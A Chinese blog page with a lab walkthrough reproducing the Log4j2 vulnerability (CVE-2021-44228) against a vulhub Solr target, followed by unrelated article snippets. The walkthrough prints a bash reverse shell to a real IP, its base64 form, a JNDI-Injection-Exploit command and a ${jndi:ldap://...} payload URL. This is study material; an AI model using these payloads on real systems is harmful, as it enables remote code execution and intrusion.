log4j2漏洞复现（CVE-2021-44228）
靶场环境
步骤一：设置出战规则
步骤二：开启靶场
cd vulhub
cd log4j
cd CVE-2021-44228
docker-compose up -d
docker ps
访问端口 靶机开启
步骤三：外带注入
获得dnslog
靶机访问dnslog
得到dnslog的二级域名信息
步骤四：构造恶意类 反弹shell
上传工具
安装java
构造恶意类
反弹shell加密
bash -i >& /dev/tcp/8.155.8.82/520 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS44LjgyLzUyMCAwPiYx
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS44LjgyLzUyMCAwPiYx}|{base64,-d}|{bash,-i}" -A "8.155.8.82"访问ldamp 出现server.log 再开启本机端口监听
http://8.155.8.82:8983/solr/admin/cores?action=${jndi:ldap://8.155.8.82:1389/7qcpvt}
本机开启监听520端口
再刷新访问ldap 发现监听地址改变 已经从本机监听到了靶机的信息
相关文章：
log4j2漏洞复现（CVE-2021-44228）
靶场环境 步骤一：设置出战规则 步骤二：开启靶场 cd vulhub cd log4j cd CVE-2021-44228 docker-compose up -d docker ps 访问端口 靶机开启 步骤三：外带注入 获得dnslog 靶机访问dnslog 得到dnslog的二级域名信息 步骤四：构造…...
tcpdump抓包分析
使用tcpdump进行抓包分析是一个常见的网络诊断和分析任务。以下是如何使用tcpdump进行抓包和分析的一些基本步骤和技巧： 1. 基本抓包 首先，你需要确定要抓取数据包的网络接口。可以使用ifconfig或ip addr命令查看网络接口。然后，使用以下命…...
LearnOpenGL学习（碰撞检测，粒子）
完整代码见：zaizai77/OpenGLTo2DGame: 基于OpenGL制作2D游戏 物体本身的数据来检测碰撞会很复杂，一半使用重叠在物体上的更简单的外形来检测。 AABB - AABB 碰撞 AABB代表的是轴对齐碰撞箱(Axis-aligned Bounding Box)，碰撞箱是指与场景基…...
操作系统（24）提高磁盘I/O速度的途径
前言 操作系统提高磁盘I/O速度的途径多种多样，这些途径旨在减少磁盘访问的延迟和开销，提高数据传输的效率。 一、磁盘高速缓存（Disk Cache） 磁盘高速缓存是一种在内存中为磁盘数据设置的缓冲区，用于存储磁盘中某些盘块…...
C/C++基础知识复习（45）
1) C 中面向对象编程如何实现数据隐藏？ 在 C 中，数据隐藏是通过将类的成员变量和方法的访问权限控制起来实现的。通常，数据隐藏是通过使用 访问控制 机制来实现的，C 提供了三种访问控制修饰符： private: 使成员变量和…...
现代C++锁介绍
文章目录 场景描述🐞 初始实现: 非线程安全版本互斥锁: std::mutex使用mutex保护共享资源使用std::lock_guard简化锁的管理 优化读操作: std::shared_mutex多个锁的管理: std::scoped_lock使用std::scoped_lock避免死锁 其他高级锁⏳ 带超时的锁: std::timed_mutex使…...
Squid代理服务器的安装使用
1.简介 Squid代理服务器是一种高效的中间服务器，位于客户端和目标服务器之间，起到了重要的网络中介作用。以下是对Squid代理服务器的详细介绍： 一、功能特点 缓存功能： Squid可以缓存经过它的请求和响应数据。当客户端发起请求时…...
爬虫学习案例8
爬取京东评论信息 采用DrissionPage自动化工具采集，感觉比Selenium工具好，真香。 安装第三方库 pip install DrissionPage pip install pandas pip install pyecharts pip install jieba pip install wordcloud1.安装DrissionPage库 DrissionPage安装…...
深入了解 CouchDB 的 Mango 查询：操作符和限制
CouchDB 是一个基于文档的数据库管理系统，支持 HTTP 协议，拥有强大的同步机制和灵活的数据模型。Mango 查询是 CouchDB 中用于数据检索的现代化查询接口，灵感来自 MongoDB 的查询语法。本文将深入探讨 Mango 查询中的各种操作符和限制，并提供详细的例子和说明，帮助你更好地…...
基于SSM（Spring + Spring MVC + MyBatis）框架搭建一个病人跟踪信息管理系统
基于SSM（Spring Spring MVC MyBatis）框架搭建一个病人治疗跟踪信息系统是一个相对复杂的项目，涉及到多个模块和功能。以下是一个简要的指导步骤。 1. 环境准备 开发环境：确保安装了Java Development Kit (JDK)，建议…...
U盘文件名变乱码：原因、恢复与预防全解析
一、U盘文件名变乱码现象描述 在日常使用U盘进行数据传输和存储时，我们有时会遇到一个令人头疼的问题：U盘中的文件名突然变成了乱码，无法正常识别或访问。这些乱码文件名可能包含各种奇怪的字符和符号，使得原本有序的文件管理变得…...
EasyGBS国标GB28181公网平台P2P远程访问故障诊断：云端服务端排查指南
随着信息技术的飞速发展，视频监控领域正经历从传统安防向智能化、网络化安防的深刻转变。EasyGBS平台，作为基于国标GB28181协议的视频流媒体平台，为用户提供了强大的视频监控直播功能。然而，在实际应用中，P2P远程访问可…...
一网多平面
“一网多平面”是一种网络架构概念，具体指的是在一张物理网络之上，逻辑划分出“1N”个平面。以下是对“一网多平面”的详细解释： 定义与构成 01一网多平面 指的是在统一的物理网络基础设施上，通过逻辑划分形成多个独立的网络平面…...
animatediff 模型网盘分享
网盘 一、123网盘，不限速 https://www.123pan.com/s/ueQ8jv-OlzPh.html 网盘 网址 animatediff 国外网址https://huggingface.co/guoyww/animatediff/tree/cd71ae134a27ec6008b968d6419952b0c0494cf2 国内镜像在 https://hf-mirror.com/guoyww/animatediff/t…...
ansible play-book玩法
使用ansible-playbook实现安装nginx_ansible 安装nginx-CSDN博客文章浏览阅读1.5k次，点赞14次，收藏19次。本文详细介绍了如何在Linux环境中准备Ansible环境，包括配置主机、下载和安装Ansible，以及使用yum模块和tar包源码安装Nginx…...
MySQL索引-索引的分类和创建
索引类型 数据类型 B树索引Hash索引FullText全文索引 物理存储 聚簇索引二级索引 字段特性 主键索引唯一索引普通索引前缀索引 字段个数 单列索引联合索引 创建索引 创建表时一同创建创建表后单独创建创建表后通过修改表结构创建 可以通过 SHOW INDEX FROM test_table;查看…...
如何给负载均衡平台做好安全防御
在现代网络架构中，负载均衡（Load Balancing）扮演着至关重要的角色。它不仅负责将流量分配到多个服务器以确保高效的服务交付，还作为第一道防线来抵御外部攻击。为了保护您的应用程序和服务免受潜在威胁，必须对负载均衡…...
HR/TA/HRBP的关系
HR（人力资源）领域包含 TA（人才获取）和 HRBP（人力资源业务伙伴）这两个重要的角色，但它们只是 HR 工作的一部分分支，一般我们说的HR指TA。 1. 人才获取（TA） 定…...
Docker环境下MySQL数据库持久化部署全攻略
概述 在当今的软件开发领域，Docker容器技术已经成为应用部署和管理的新标准。它不仅简化了应用的部署流程，还为数据管理提供了灵活的解决方案。特别是在涉及到MySQL数据库时，数据持久化是一个不可忽视的重要环节。本文将分享如何在Docker中部…...
如何查看pad的console输出，以便我们更好的进行调试，查看并了解实际可能的问题。
1、以下是baidu AI回复： 2、说明： 1）如果小伙伴们经常做android开发的话，这个不陌生，因为调试都是要开启这个开发者模式。并启用USB调试模式。 2）需要连上USB线，有的时候会忘记，然…...
AI-调查研究-01-正念冥想有用吗？对健康的影响及科学指南
点一下关注吧！！！非常感谢！！持续更新！！！ 🚀 AI篇持续更新中！（长期更新） 目前2025年06月05日更新到： AI炼丹日志-28 - Aud…...
2.Vue编写一个app
1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...
cf2117E
原题链接：https://codeforces.com/contest/2117/problem/E 题目背景： 给定两个数组a,b，可以执行多次以下操作：选择 i (1 < i < n - 1)，并设置 或，也可以在执行上述操作前执行一次删除任意 和 。求…...
TRS收益互换：跨境资本流动的金融创新工具与系统化解决方案
一、TRS收益互换的本质与业务逻辑 （一）概念解析 TRS（Total Return Swap）收益互换是一种金融衍生工具，指交易双方约定在未来一定期限内，基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...
【Web 进阶篇】优雅的接口设计：统一响应、全局异常处理与参数校验
系列回顾： 在上一篇中，我们成功地为应用集成了数据库，并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了！但是，如果你仔细审视那些 API，会发现它们还很“粗糙”：有…...
【配置 YOLOX 用于按目录分类的图片数据集】
现在的图标点选越来越多，如何一步解决，采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集（每个目录代表一个类别，目录下是该类别的所有图片），你需要进行以下配置步骤&#x…...
css3笔记 （1） 自用
outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size：0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格ÿ…...
全志A40i android7.1 调试信息打印串口由uart0改为uart3
一，概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本：2014.07； Kernel版本：Linux-3.10； 二，Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01)，并让boo…...
企业如何增强终端安全？
在数字化转型加速的今天，企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机，到工厂里的物联网设备、智能传感器，这些终端构成了企业与外部世界连接的 “神经末梢”。然而，随着远程办公的常态化和设备接入的爆炸式…...
Device Mapper 机制
Device Mapper 机制详解 Device Mapper（简称 DM）是 Linux 内核中的一套通用块设备映射框架，为 LVM、加密磁盘、RAID 等提供底层支持。本文将详细介绍 Device Mapper 的原理、实现、内核配置、常用工具、操作测试流程，并配以详细的…...